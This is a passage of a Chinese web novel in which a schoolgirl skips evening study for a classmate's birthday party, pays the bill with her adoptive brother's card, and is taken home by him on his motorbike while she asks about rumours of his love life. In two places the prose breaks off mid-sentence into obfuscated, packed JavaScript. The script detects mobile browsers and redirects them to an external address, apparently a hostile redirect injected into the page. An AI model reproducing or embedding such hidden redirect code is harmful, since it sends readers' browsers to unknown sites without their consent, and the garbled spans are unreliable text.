《冷岛》 3. 摇尾巴 如果非要从什么地方讲这个故事。 就从池聆第一次听到那首《热带雨林》开始吧。 她十七岁的九月。 倒数第二个礼拜三,是同桌童乐霏的生日。 为了迎接自己即将到来的成人世界,童乐霏邀请了一大波人放学后金悦阁见,包括池聆。 那会儿池聆趴在桌子上写试卷,闻言,扭过头好奇:“这是哪里。” “你不知道?”童乐霏震惊,“金悦阁你都没去过,就吃吃饭唱唱歌啊,上次张诠过生日也在那里,感觉还挺不错的。” 张诠是班上一个男同学,池聆和他没交集,自然也不存在上次。 池聆没去过。 很多同龄人常去的地方她都陌生。 她小声啊了下,铅笔在演算纸上随意画了两个圈,从桌子上慢慢起来。 从这譬如白纸的表情上童乐霏已经判断出结果。 在她眼中池聆是标准的乖乖女,还有点宅的那种。 她们同桌一个月的时间里,没见过池聆任何脾气和叛逆。 但她竟然比她想象的还要..... 她再次感慨:“你家里管得也太严了吧。” 池聆说还好:“是我比较无聊。” 这算实话。 她是被收养的孩子,陈家对她的关注不多,要求也不高,只要不做出格的事,不损害陈家颜面和利益,她是自由的。 这种自由是爱吗,是尊重吗,是宽容吗。 不是。 恰恰相反。 是不在意。 童乐霏追问:“那你能来吗?” “应该不会太晚!” “可以。”池聆收回思绪,弯了下唇角。 七点三十,晚自习还没结束。 童乐霏心早飞了,蜷着拳掩着唇,使劲儿咳咳、咳咳的传递着信号。 后排两三个男生应声抬眼,比划OK手势。 “走啦。”童乐霏催促。 池聆袖口被拽,这才反应过来他们是要逃掉晚自习。 窸窸窣窣后,两个男生背包甩在肩上,用口型和气音隔空对话:“快点,我们先走了。” “知道!小心点,别被抓了!” 童乐霏喊了班里关系好的五六个人,还有她之前的朋友,一群人的行动目标过大,选择分批。 她眼睛眨巴眨巴,盯着池聆,想起什么,用眼神询问:你不会也没逃过晚自习吧,别啊,要快点。 池聆不会在别人生日这种时候扫兴,草草把没做完的题塞进书包,再装好水杯,低头拉好拉链和白色蝴蝶结系带。 童乐霏手指后门,确定没有值班老师,迅速拉着池聆闪进昏暗的楼梯间。 女孩轻盈的脚步带着刺激和喜悦,童乐霏笑嘻嘻的:“池聆,刚才我以为你要反悔呢,你比我想的胆子要大!” 池聆很少听见这个评价,她抓着书包带小声问:“你很有经验吗。” 童乐霏谦虚:“小有而已,放心吧。” 池聆倒不是怕被发现,只是好奇。 这种新鲜的体验感觉并不差,童乐霏拉着她手腕热乎乎的,跑出校门时池聆眼皮跳了两下,她下意识揉了揉,没在意,也没注意是左边。 她们两个几乎是最后到的,门推开,巨大的“surprise”混着礼花筒爆炸。 “生日快乐——” 一圈人等在里面,差不多有十几个,池聆勉强认识一半。 童乐霏落落大方,挥着手和大家说谢谢。 池聆只是很少参加同学会,但这种生日聚会的流程还是熟透于心的。 都差不多,池聆今天胃不舒服,吃得东西不多。 后面找了个角落听人唱歌。 童乐霏和另外几个朋友玩游戏上了头,几人声音越来越大,挥舞着你争我喊,抽着扑克牌,忽然一个男生喊:“我请,开!” 开什么,不知道,另一个声音凑到了池聆耳边:“他们好吵啊,我都有点困了。” 说这话的是童乐霏校外认识的一个女生,因为不是一个交际圈的,玩不到一起,干脆找上了看着同样无聊的池聆。 “他们要开酒,你应该不能喝吧。” 过了十八的分水岭,好像做什么事都理所应当一点。 池聆摇头。 女生一副果然的表情:“你看起来好乖,但头发是染的吗?像洋娃娃。” 池聆斟酌一下,最后认下了这个乖乖女的称号,不然怎么解释,说自己会喝酒,说自己曾经不小心喝趴过两个男生,不过头发不是染的,她发色就是有些偏金。 “我叫丁倩,四中的。” “我叫池聆,是——” “附中的,我知道,之前在你们学校见过你。”她接过池聆的话,“你是交流代表。” 丁倩对她印象很深,时间大概是两年前。 不过还有一个原因:“你当时身边站了一个男生,很高,很贵气,看着又冷又痞的,我记得是中午吧,老师不在,就你们两个在礼堂门口,简直配我一脸,还以为你们是在偷着谈恋爱。” “......谈恋爱?”池聆愣怔反驳:“怎么可能。” 什么时候的事,她怎么不记得了。 “后来我才知道那个男生就是附中高三的陈靳淮。” 陈靳淮。 熟悉的名字跳进耳畔,和包厢内鼓点伴奏气倏然重合。 丁倩热情又抱歉的解释:“我没有别的意思啦,只是想说之前见过你,还闹了一个小乌龙。” “你不会因为这件事介意吧。” “不会。”反正又不是第一次闹这种乌龙,池聆叹了口气,脑袋里幽幽地想。 她和陈靳淮,就这么不像兄妹吗。 她没有刻意暴露过身份,甚至有所隐藏,他们在学校交集不多,现如今毕业就在眼前,鲜少有人知道她是陈靳淮妹妹。 这样想着,竟然也挺奇怪的。 “对了,你和陈靳淮还有其他交集吗,有没有什么八卦给我讲讲啊,听说他在你们附中的时候就是个传奇。” 传指的是什么呢,是他得奖无数,还是家世显赫,是轻松睥睨一切,还是外表优渥,以及别人摘星难度都得不到的起点。 池聆不知道从哪里说起,答案通通为:“不了解,不知道。” 丁倩也没指望真的打听到什么,反倒是把自己听说的和池聆说了个痛快。 开始池聆还试图从别人嘴里挖掘陈靳淮不为人知的一面,然而闯进耳朵里的东西越来越离奇。 “然后他就对那个女生说:怀孕了就去打啊,要我负责,你配吗。” “???” 等等,她听见了什么。 “所以说,陈靳淮只是看着难搞,背地里纯浪子人设,玩得太花了。” “是不是误会了什么。”池聆巴掌大的脸上精彩得像调色盘,“不会的,陈....学长挺好的,不会做这样的事的。” “谁知道呢,这是我朋友告诉我的,她和陈靳淮都在京大,陈靳淮谈的那个女朋友就是她专业的,消息十有八九靠谱。” 丁倩晃着果汁,意料之中的语气:“这种有钱有颜的帅比没玩过才不正常呢,总不会是痴情种吧。” 后面三个字和陈靳淮有没有关系池聆不确定,可他不会像八卦里一样欺负女孩的。 “丁倩,我觉得这都是谣言,愈演愈烈滚雪球成这样的,你不了解他,他虽然脾气谈不上好,可是绝对不会.....”她忍不住替陈靳淮说话,又被突然打断。 “你不是也不了解他?” 丁倩反问,不带恶意,只是笑池聆天真,“男人都这样,见到你想起了那次才多说几句,池聆,幸好你和他没谈过。你太好骗了,会被这种人玩死的。” 看她好像还是不信的模样,丁倩拿出手机翻啊翻找出一张照片,“喏”一声,推到少女面前:“你看,合照都有。” “他可是陈靳淮啊,谁不想他的目光驻足,但可能吗。” “这就是他之前的女朋友,也可能是之一吧,反正你看哭得多惨,隔着屏幕都能看出来。” 池聆低头,和今天一样灰蒙蒙的夜晚,照片里的人影不算清晰,背景看得出是京大校园篮球场。男生随性地坐在球架下,眉心锁着,咬着没燃的烟,掐着手机浮出很无聊的颓痞感。 蓝色球衣白色球袜到小腿,一瓶矿泉水立着,可不见篮球,再看,原来球在对面蹲着的女孩手上。 女孩仰着头,很委屈很难过,姿态也很低地望着那个“坏人”。 池聆没见过这个姐姐,但照片里的陈靳淮给人感觉好欠揍啊。 她抿唇,语塞,也熟悉。 因为陈靳淮在家里也是这样的,大少爷,脾气难搞,更难哄。 一时间动摇几分。 那些很过分的谣言肯定是瞎扯的,可陈靳淮到底谈过几段恋爱,有没有好好对人家,池聆不确定了。 丁倩观察着池聆表情,觉得自己终于说服了这个无知少女,点到为止,不再与之争辩。 “你唱歌吗,麦空出来了。” “不了吧,我听你唱。”池聆眉间多了几丝不易察觉的愁容,别人没发现也不会明白,只有她自己知道自己在想什么。 突然发现哥哥是渣男怎么办? 等前奏过去,丁倩轻柔的声音响起,池聆回神发现她唱的是粤语歌。 原来丁倩不是本地人。 池聆听不懂,从屏幕里的mv判断出是陈奕迅的歌。 “明明并非夏季但我竟会觉得热/ 呼吸到南美的暑气/” 一曲未毕,童乐霏来拉她们玩游戏,池聆闻到了淡淡的酒气。 就这样又玩了几十分钟,时间差不多散场,有人提出要走的时候,问题出现了。 他们这桌竟然挂了近两万块钱的帐。 童乐霏脸白了一瞬:“怎么可能?你们算错了吧?” 服务生递过pad,礼貌解释:“酒水共15098元。” 童乐霏下意识扫过茶几,上面躺着乱七八糟的杯盏和牌,他们开了三瓶酒,其中一瓶酒价格酒高达五位数。 她清醒过后有些崩溃:“谁开的这瓶啊,不看价格吗?” 之前上头撺掇的几个男生此时却都默契的没说话。 童乐霏家里不缺钱,但也没想到一晚上花了两万,她有点生气,更尴尬的是她身上现在没这么多钱,包厢内一时安静的有些可怕。 丁倩扫了沙发上一群不出声的男生,刚刚是他们喝的最欢,现在也是这些人最装孙子,她嗤笑,提议:“干脆这钱你们aa得了。” 不说还好,场面在下一秒炸开了锅。 “不是吧大姐,你过生日还要我们出钱,早知道不来了啊。” “就是,付不起早说啊。” “开了瓶破酒唧唧歪歪的,至于吗,都一个班的,童乐霏你下次别约我们。” 张诠率先起身,挠了一把头发,推开人,走了。 另一个男的跟上,找了招手:“走了。” 逃单的意思别太明显,童乐霏没忍住怒了:“有病吧,说一句就跳脚,让你们给了吗?” “行,那谢谢童大小姐款待,我们先撤了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391706|200308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们这样说也就这样做了,童乐霏一边给爸妈发消息一边骂了几句:“晦气。” 屋子里剩下的女生面面相觑,等了会儿,没收到爸妈回复,上前商量主意:“要不我们先凑一凑。” 童乐霏脸色越来越不好看,明显着急,主要这事还很没面子,好不容易搞个生日会,以后谁还敢来啊。 “霏霏你别着急,我身上有一千。” “我卡里也有点,或者我问问我妈妈,反正先付上。” 童乐霏吸了吸鼻子,抿着嘴:“我明天就还给你们。” “多大点事啊,今天是你生日,开心点。” 几个女生拿着手机围到一起,加来加去还竟然还差九千。 服务生刚刚还来问怎么支付,尴尬升级,局促会让人乱了阵脚。 童乐霏爸妈不知道干什么去了,一直没接电话。 这会儿十点,池聆低头看着手机里绑的另一张卡,嘴唇动了动。 再不回家就有点晚了,大家都挺着急的,好像只能这样解决了。 这张卡池聆几乎不用,因为是陈靳淮的副卡。 平时的衣食住行有家里管,顾阿姨也会给她零花钱,她自己消费又少,不缺钱。 今天属于意外。 九千,对他来说不算多,但池聆莫名有种乱花钱会被大人发现的奇怪感。 明天再还给他就好了。 池聆想着,丝毫没注意自己结账时童乐霏有多诧异。 她一把抱住池聆:“聆聆宝贝,呜呜谢谢你,原来你是个隐形的小富婆,是我错怪叔叔阿姨了,你零花钱这么多,他们肯定超级爱你。” “你放心,这钱我一定还给你。” 池聆被突如其来的熊抱撞得倒退一下。 她笑笑,说没事:“生日快乐啊霏霏,今天不要烦心。” 走出包厢,池聆去了趟洗手间,其他人都下去打车了,池聆不想暴露地址,说不顺路,一会儿自己走就好了。 童乐霏在微信上给她发消息:「回家后告诉我啊,我怕你不安全。」 小水:「嗯嗯。」 她随便洗了洗手,拐弯,刚想叫车。 “池聆。” 冷冽、清晰的一道声音,蓦然在身后响起。 她回头。 空旷的长廊,看见陈靳淮的脸。 他问:“你怎么在这里。” ....... 这里不知道喷的什么香水,池聆不喜欢这个味道,皱了皱鼻子。 与此同时,靠近的有另一种木质香,还有海水的味道。 突然拉近的距离把池聆吓了一跳,她磕磕绊绊:“哥...” 女孩不明所以抬头,眼睫忽闪几下,看着伏低在她肩膀的人。 她像钉在了原地,两只手背在身后搅着,老老实实的小学生训话模样,顿了顿,还是没听见陈靳淮开口,池聆只好问他:“好巧啊哥,你今晚也在这边玩吗?” 陈靳淮没搭腔,瞥她一眼,拧了眉。 不懂他这个表情,池聆思考了几秒,他已经直起身倚着背后米黄色墙纸,笑了,懒懒散散的:“有能耐。” 莫名其妙被夸了,和池聆想象的不一样。 “啊?” “玩得开心吗。”陈靳淮看不出情绪地扫视着她。 “还行。” 陈靳淮点点头,随意道:“行就好,我的钱也不算白花。” 副卡就是这样,消费短信会自动发到陈靳淮手机上。 池聆看看陈靳淮,再看看自己,想起刚才陈靳淮嗅闻的姿势,脸忽然热了,明白了,她连忙解释:“没有,是别人喝了一些,可能离得近,沾上了。” “哪来的好朋友教你这事。” “不是。”池聆小声辩解,来龙去脉大体讲了一遍。 “你还逃了晚自习。” 池聆:“.......” 陈靳淮多敏锐,一下就抓出了另一个重点。 糟糕,都说出来了。 池聆干笑两声。 男生也扯唇,敷衍着和她一起假笑:“太厉害了。” 论冷人的功夫,池聆绝对比不过某人。 池聆自知理亏先败阵,轻车熟路弯起眼讨好央道:“哥,你别生气,我马上就回家了,不会耽误作业,也...不会学坏。” 陈靳淮懒得理她这样。 知道池聆就会这招,要是身后有尾巴,估计早黏上来了。 池聆没等到他回答,上手扯他衣角,轻晃。 “你在外面这么久干什么呢。” 拐角处的一间门突然推开,出来了一男一女,视线四处寻着人,望到这边的陈靳淮,一下锁定了目标,朝这边大声地喊。 随后两秒,又看清和陈靳淮一起站了个人,再次好奇:“哎?怎么还有个小妹妹。” 这是陈靳淮朋友,池聆听出来了 她不会贸然打招呼,得分人,只有和陈靳淮关系比较好的池聆才会表明身份。 陈家有个养女不是秘密,但池聆是,这样只是为了减少不必要的麻烦,陈叔叔和顾阿姨当时是这样说的。 池聆一惊,本能要收手拉开距离。 比她更快,陈靳淮熟练扣住女孩细瘦手腕。 池聆错愕,混乱中,她看见那个女生表情更错愕。 还是旁边的男生察觉出不同,盯着池聆左看右看求介绍,换了个更正经的询问:“这是?” 见人多了,走廊不是说话的地方。 陈靳淮姿态随意,拉着她挥手要走,坦荡坦然。 “我妹。你们继续玩,我送她。” 4.叛逆期 既然是陈靳淮开口的,池聆就无需纠结。 她跟两人草草打了个简单招呼,被陈靳淮拉到了车边,一辆改装过的机车映入眼帘,红黑配色,限量版。 接着,池聆怀里被塞了一个圆咕隆咚的东西,头盔。 混沌的夜晚阴沉,光线迷蒙,池聆抱着头盔,唇角不易察觉地往下压了两个像素点。 池聆坐过这车,之前陈靳淮带她出去玩来着,说实话,不太喜欢,没有四个轮子的舒服。 今天怎么又是这辆。 池聆倒也不能挑剔什么,老老实实给自己套上了头盔,“好了。” 结果扭头发现陈靳淮没动,这人肩宽腿长,接近一米九的个子很长一条,懒懒散散坐在前面双手抱胸,正扬眉看着她。 池聆眼里闪过疑惑,手摸索着确定了一遍头盔,戴的没错啊。 “你这什么表情。”陈靳淮明知故问,“不敢坐?” “敢。” 陈靳淮和很多男生一样,喜欢玩车,不过他条件好,玩得贵也玩得花样多,一句话来讲就技术在,总不会摔着她,这点她还是知道的。 摔不死的池聆都敢,就是:“你慢一点,上次太快了。” 声音闷在头盔里,像是塞了棉花的玻璃罩,失真,绵绵的。 这种车坐在后面视野更高,加速的时候震感、风、以及迅速变化的街景,铺天盖地轰鸣声让心跳呼吸加速,肾上腺素分泌刺激大脑,池聆只能死死抱住他,额头抵在他肩膀,紧紧闭眼。 他嗤,笑话她:“哪里来的胆小鬼,慢点怕你写不完。” “写什么?” 他不爱多讲。 “.....”安静后,池聆哦了声反应过来了,作业,阴阳她今晚的事呢,干脆当听不懂正儿八经说,“谢谢哥哥。” “不用谢,应该的。”陈靳淮拿着钥匙的手从池聆头上掠过,不留力气敲响一下—— “砰” ....... 机车飞驰在干燥的秋风里,带着夏季没过去的闷热,这个时间点高架桥车依旧排着长队,一个拐弯后有一个急刹,池聆走神呢,没控制住,厚重的头盔磕在陈靳淮肩膀。 “嘶。”自己也痛,池聆皱起脸,怕被惯性甩下去,本能搂得他更紧。 那时候秋雨没来,穿的还是夏天单薄凉快的短袖,陈靳淮是典型的衣架子身材,肩宽腰窄,线条练得很好。 不过池聆不懂太多,只觉得这样抱着陈靳淮很有安全感。 和手感无关。 虽然不喜欢坐机车,不喜欢极速的刺激,不喜欢风声灌耳的呼啸,但好在前面坐着的人是她亲近熟悉的。 池聆会记住这种时刻。 她后面背着一只米白书包,完全不觉得自己近得有点过分了。 体温会越界,女孩的柔软也会。 池聆没注意,前面的人隐约回头看了眼。 车速在铺满的近光灯里也慢了点。 树袋熊。 陈靳淮在心里评价。 这七位数的机车吸睛,机车主人更吸睛。 池聆知道陈靳淮帅啊,在附中的时候,她高一,他高三,不在一栋教学楼,甚至隔着大半个校区,还是每天都可以在走廊听见他的名字。 现在的陈靳淮比那个时候更成熟一点,五官和气质也更锋利带感一些。 所以看他的人更多了。 今晚还不一样,机车后座带着一个背着书包的女高。 走到哪里池聆都感觉到有人在看。 红灯旁的十字路口旁边有家便利店。 说来也巧,播放的音乐和晚上的耳熟。 她无聊,随口继续和陈靳淮聊着,他回不回都行:“哥,你听过这首歌吗。” 陈靳淮:“没有。” 这是丁倩唱的那首,她只记住了一句歌词字幕: 当初的亲密犹豫热带雨林,逐分钟消失4.8里。 池聆没有深究什么意思。 而是想起了丁倩说的那些话。 再要出口的话突然变得欲言又止。 今晚那个女生不会是他的新女朋友吧,那照片里的呢。 天呐。 之前两人一个高中,陈靳淮倒是断情绝爱,没有闹出任何过分新闻。 池聆听到的永远都是谁谁谁和陈靳淮表白了,谁又被陈靳淮拒绝了,什么人在什么地方见到了他,又说他多难搞,天之骄子,冷酷男神,绝世神颜一堆乱七八糟的标签。 所以池聆十七岁的记忆里,只有哥哥对谈恋爱没兴趣这个概念。 至于原因,她猜测是陈靳淮很挑剔,他就是一个很挑剔的人,小时候池聆没少受摧残,他要求高品位也好,干什么都要干到他顺眼才算完。 当然这件事也不排除陈靳淮四好少年,秉承着绝不早恋的原则,大学才犯浑。 池聆欲言又止。 绿灯在这时候出现,陈靳淮俯身,两臂撑直,力量匀称。 她叹了口气,关心哥哥的感情状况还是太超纲了。 陈靳淮:“?” 机车没提速,身后车辆渐渐超越他们。 池聆还在思考。 “这个速度还快?”话落,一辆电动小车也嗖的窜过,陈靳淮怀疑,池聆不像怕速度快,更像不愿回家。 怎么,叛逆期啊。 池聆一愣:“没有。” 这车平时一小时能跑三百五十公里,现在呢,勉勉强强六分之一吧。 陈靳淮听过很多人说他难伺候,他不觉得,那是那些人没见过池聆。 如果他们了解池聆。 就会知道什么都好的意思什么都不好。 那什么是好,你需要去猜,去摸索,去观察,去记录。 陈靳淮把她放在了别墅门口,自己不进门。 池聆知道,他最近和顾阿姨闹了矛盾,很少回来。 细数这周,她竟然也只见了他两次。 早上吃饭时陈叔叔还问她:“池聆,你最近看见靳淮了吗。” 她实话实说:“上次哥回来拿东西,我们说了几句话,其他没有了。” 陈立辉的脾气在这个家里算是最好的,也没问什么,只说:“你阿姨的脾气你知道,靳淮的脾气你也知道,都是一家人闹什么。” “你现在高三,不会的功课也可以问问靳淮,下次见到人,替你阿姨说几句。” 话里话外的意思就一个,让她做传话筒,喊陈靳淮回家。 陈靳淮低头翻几眼手机,有人找他,池聆看到了未接电话。 他语气平常,没说今晚池聆刷了他的钱的事,只是重复:“以后离叛逆的东西远点,十点前回家。” “乐霏应该明天就会把钱还给你。” 他无所谓,她用了就是自己的零花钱:“你留着玩吧。” 他偏头示意,让她进去。 池聆没动。 “不想走就说。”陈靳淮眼皮都懒得抬,一眼看穿她的踟蹰。 “哥,你这半个月都好少回家。”池聆顺势甜笑放软态度。 陈靳淮装听不懂,放下了手机,手撑着车,斜眼睨她。 她某种程度上来说是个听话的孩子,让她做一分,她就尽力做好十分,第一句话就暴露的目的,后面补丁打了五分钟,写在草稿纸上能有八百字。 说了长篇大论,“哥,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397240|200308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见了吗?” 池聆歪头看他,他抬眼,四目相对,空气暂停,女孩眼神幽怨,换问法,“你在听吗。” 他敷衍:“嗯,在。” “那就好。反正大家都挺想你的。”池聆用这万能话为本次劝和划下句点。 “是吗。” “是啊。” 陈靳淮:“可以再给你十分钟,听你说说具体是怎么想的。” 这是重点吗? “陈叔叔还说,我现在高三了,你回来可以辅导我功课。” 他表情恹恹,揉了揉脖子,又是副懒得理人的表情:“是家里请的老师水平难以下咽还是怎么,需要我教你。” “...........”池聆很想为她的老师们正名,“他们也教过你!” “哦,那我确实青出于蓝。” 池聆说不过他,又叹了口气。 算了,反正话她是传了。 她转身要走 “你今晚怎么一直叹气。” 陈靳淮蹙眉,动作利落说做就做,单手勾住女孩书包拎到自己面前。 池聆踉跄,男生一只手扶住了她肩膀。 这是好听的说法,更准确地说,是捏。 她骨架小,又比陈靳淮矮那么多,他随便一伸手,池聆感觉自己被揪住了脖颈,根本逃不开。 “有话直说。” “没有!” 陈靳淮微微眯眼,冷白的皮肤棱角分明,从女生角度看,下颌线和喉结弧度漂亮,说话的时候恣意,眉眼冷淡,但态度松散随性,他朝她笑了:“池聆,别那么心虚。” “跟我可以说。” 跟他可以说。 这句话带着蛊惑,目的不明显的引,让涉世未深的池聆有一分钟动摇。 他还在等着她,等攻克她的城池。 几秒后,“你别生气。” 池聆预防针给陈靳淮打上了。 这话题似乎很为难,她抿抿唇,来来回回迟疑好几次,重复强调:“我没别的意思!” 陈靳淮眼皮跳动,他摁住,预感不好。 池聆仰头,黑葡萄一样的水润眼睛眨巴眨巴,不知所措又紧张地问:“你,你有几个女朋友啊。” “?” 四周安静,头顶的空气更是安静,陈靳淮眼皮没摁住,连额角也差点爆炸,消音一瞬,气笑了:“你找收拾是吧。” 池聆秒怂:“对不起哥,我不该问这个,我马上回家。” “回来。” 她不。 陈靳淮一把扯回人,再轻而易举的反手弄上车,语气有点不耐烦了:“说清楚。” 池聆抖了下,本能逃避他眼神。 那道视线凌厉,对峙半响,自知抵不过他,池聆张开嘴唇嗫嚅,有点后悔了,但目前只能硬着头皮概括:“他们说你渣。” 陈靳淮无语。 池聆小心翼翼求辟谣:“我觉得他们说的不对吧,哥你有喜欢的女孩吗,我看今晚那个姐姐挺漂亮的,但漂亮的人那么多,一般只能喜欢一个吧。” 她看着他,试图得到肯定答案。 而被看的人几乎面无表情,直到周围有一只鸟飞进树梢,绿叶清脆落下,他倏然冷笑:“池聆。” 池聆打了个寒颤,完蛋,陈靳淮生气了。 如她所料,男生低磁的声音没有起伏:“管上我的事了。” “没有。”她很后悔开口了,下意识转移话题,不经思考抓住陈靳淮手腕往里带,妄想掩盖这份不信任:“哥,有点晚了,我们先回家吧。” 他不接这招,生根一样停在原地,反问她:“你觉得呢。” 格外冷淡。